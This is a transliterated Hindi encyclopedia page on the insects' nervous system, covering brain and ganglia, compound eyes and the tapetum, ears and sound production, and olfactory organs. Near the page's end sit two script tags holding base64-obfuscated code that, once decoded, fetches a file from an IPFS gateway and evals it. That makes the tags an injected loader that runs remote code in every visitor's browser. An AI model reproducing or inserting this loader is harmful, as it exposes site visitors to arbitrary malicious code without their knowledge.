कीटों का तंत्रिका तंत्र
kitoan ka tantrika tantr
| |
| vivaran | kit pray: chhota, reangane vala, khandoan mean vibhajit sharir vala aur bahut-si taangoan vala ek prani haian. |
| jagat | jiv-jantu |
| up-sangh | heksapoda (Hexapoda) |
| kul | iansekta (Insecta) |
| lakshan | inaka sharir khandoan mean vibhajit rahata hai jisamean sir mean mukh bhag, ek jo di shrriangikaean, pray: ek jo di sanyukt netr aur bahudha saral netr bhi pae jate haian. |
| jatiyaan | praniyoan mean sabase adhik jatiyaan kitoan ki haian. kitoan ki sankhya any sab praniyoan ki sammilit sankhya se chhah guni adhik hai. inaki lagabhag das barah lakh jatiyaan ab tak jnat ho chuki haian. pratyek varsh lagabhag chhah sahastr nee jatiyaan jnat hoti haian aur aisa anuman hai ki kitoan ki lagabhag bis lakh jatiyaan sansar mean vartaman mean haian. |
| avas | kitoan ne apana sthan kisi ek hi sthan tak simit nahian rakha hai. ye jal, sthal, akash sabhi sthanoan mean pae jate haian. jal ke bhitar tatha usake oopar tairate hue, prithvi par rahate aur akash mean u date hue bhi ye milate haian. |
| akar | kitoan ka akar pray: chhota hota hai. apane sookshm akar ke karan ve vahut labhanvit hue haian. yah labh any dirghakay praniyoan ko prapt nahian hai. |
| any janakari | kitoan ki aisi kee jatiyaan haian, jo himaank se bhi lagabhag 50 seantigret niche ke tap par jivit rah sakati haian. doosari or kitoan ke aise varg bhi haian jo garam pani ke un shrotoan mean rahate haian jisaka tap 40 se adhik hai. |
kitoan mean tantrika tantr mean keandriy tantrika tantr, abhyantaraang tantrika tantr aur paridhi sanvedak tantrika tantr sammilit haian. keandriy tantrika tantr[1] mean lakshanik roop se ek mastishk, jo grasika ke oopar rahata hai, aur ek prati prishth tantrika rajju[2] hota hai. ye donoan apas mean sanyoji dvara ju de rahate haian. donoan sanyoji[3] grasika ke daean-baean rahate haian. mastishk sir mean sthit aur tin bhagoan mean vibhajit rahata hai-
unamean tantrikaean netroan aur shrriangikaoan ko jati haian. prati prishth tantrika tantu mean sharir ke lagabhag pratyek khand mean ek-ek guchchhika paee jati hai. pahali upagrasika guchchhika sir mean grasika ke niche rahati haian. isamean se tantrikaean mukh bhagoan ko jati haian. agami tin guchchhikaean vaksh ke tin khandoan mean sthit hoti hai, jinaki tantrikaean pakshoan aur tagoan ko jati haian. tantrika tantu ki shesh guchchhikaean udar mean sthiti rahati haian. bahut se kitoan mean inamean se bahut-si guchchhikaoan ka samekan ho jata hai, jaise ghareloo makkhi aur guanbaraila mean udar aur vaksh ki sab guchchhikaean milakar ek samany kendr ban jati haian. mastishk sanvedana aur asanjan ka mukhy sthan hai tatha daeean-baeean peshiyoan ke samanyat rahane vali uchit dasha[7] par prabhav dalata hai. udar ki guchchhikaean vishesh roop se svatantrata pradarshit karati haian. pratyek guchchhika apane khand ka sthaniy kendr si ban jati hai. yadi uchit riti se uddipan kiya jae aur aantim guchchhika tatha isaki tantrikaoan ko koee hani n pahuanchi to jivit udar, jo vaksh se prithakh kar diya gaya hai, aandaropan kar sakata hai. abhyantaraang tantrikatantr[8] abhayantr ke oopar paya jata hai aur isamean se hriday tatha agratantr to tatrikaean jati haian. paridhi tantrika tantr[9] iantegyoomeant[10] ke niche rahata hai.
jnaneandriyaan
sanyukt netr aur saral netr drishti sanbandhi iandriyaan haian. lakshanik roop se prodhoan aur pray nimpho mean donoan hi prakar ke netr pae jate haian, kiantu dianbhoan mean keval saral netr hi pae jate haian jo daean baean hote haian. sanyukt netr mean bahut se prithak-prithakh chakshush bhag hote haian, jinhean netranu[11] kahate haian. ye bahar se paradarshak korniya se dhake rahate hean. korniya shatkon leanzoan[12] mean vibhajit rahati hai. leanzoan ki sankhya inaki bhitari ometidiya ki sankhya se thik barabar hoti hai. saral netr mean keval ek hi ubhayottal leanz hota hai, jo chakshush bhag ke oopar rahata hai.
tepetam
din aur rat mean u dane vale kitoan ke netroan mean aantar hota hai. rat mean u dane vale kitoan ke netroan mean aantar hota hai. rat mean u dane vale kitoan ke sanyukt netroan mean ek rachana hoti hai, jo tepetam[13] kahalati hai. tepatem netroan mean pravesh karane vale prakash ko paravartit karata hai, at: netr aandhere mean chamakate haian. sanyukt netroan mean pratibianb do prakar ka banata hai. jo netranu charoan aur se kale ranjak[14] se dhaka rahata hai, usamean keval ve hi kiranean pravesh kar pati haian, jo netranu ke samaantar hoti haian. shesh sab kiranean ranjak dvara avashoshit ho jati haian. is prakar bana hua pratibianb ek kuttam chitr[15] hoga aur utane bhagoan ka bana hoga, jitani korniya mean mukhikaean hoangi. is rachana ke karan keval tho da-sa hi prakash upayogi hota hai, kiantu pratibianb adhik spasht hota hai, jin netranuoan ke keval bhitari bhag hi ranjak se dhake rahate haian, unamean unaki mukhikaoan ke atirikt pas vali any mukhikaoan ki kiranean bhi pravesh kar pati haian. aise pratibianb mean lagabhag sabhi kiranoan ka upayog ho jata hai, pratibianb pray: kam spasht hota hai.
karn
bahut se kitoan mean karn hote haian, jo sharir ke vibhinn bhagoan mean pae jate haian. bahut se tiddoan aur tiddiyoan mean udar ke agr bhag mean donoan or karn pae jate haian. kheriya ke karn mean bahari or ek jhilli hoti hai, jisake bhitar ki or sanvedak koshikaoan ka ek guchchha rahata hai. shvas pranal ki vayu thailiyoan ka karn se samagam rahata hai. ye anunadak[16] ka kary karate haian. jab dhvani tarangean jhilli par takarati haian, to usamean kanpan utpann hota hai, jo aant mean sanvedak koshikaoan ko prabhavit karata hai. kit adhik uchch avritti ki dhvaniyaan bhi sun sakate haian, jaise lagabhag 45,000 avritti prati seankad tak ki dhvani. kitoan mean vani nahian hoti hai, kiantu ve dhvani utpann kar sakate haian. dhvanyutpadan ki anek vidhiyaan haian. tittibh apane pashch oorvika ka bhitari kinara, jis par nanhian kilean sidhi rekha mean paee jati haian. usi or ke agr paksh ki rediyas shira ke mote bhag par rag dakar dhvani utpann karata hai. kheriya apane ek agr paksh ke kyoovitas shira ki kiloan ke doosare agrapaksh ke kinare ke mote bhag par rag d kar dhvani utpann karata hai.
ghranedriyaan
ghranedriyaan visheshakar shrriangikaoan par hi paee jati haian aur vibhinn prakar ki hoti haian. inaki sankhya nar mean pray: adhik hoti hai, jaise nar madhumakkhi ki shrriangika par lagabhag 30,000 karmakar mean 6,000 aur rani mean keval 2,000. svadeandriyaan bahut se kitoan mean epiphairiangs par, kee ek mean mukh ke kinare tatha sparshiniyoan par paee jati haian. any prakar ka jnan sharir ke vibhinn bhagoan par uge hue parivartit baloan ya vishesh prakar ke nanhean kaantoan dvara hota hai. ye iandriyaan bal, rikabi ya kil adi ke akar ki hoti haian.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>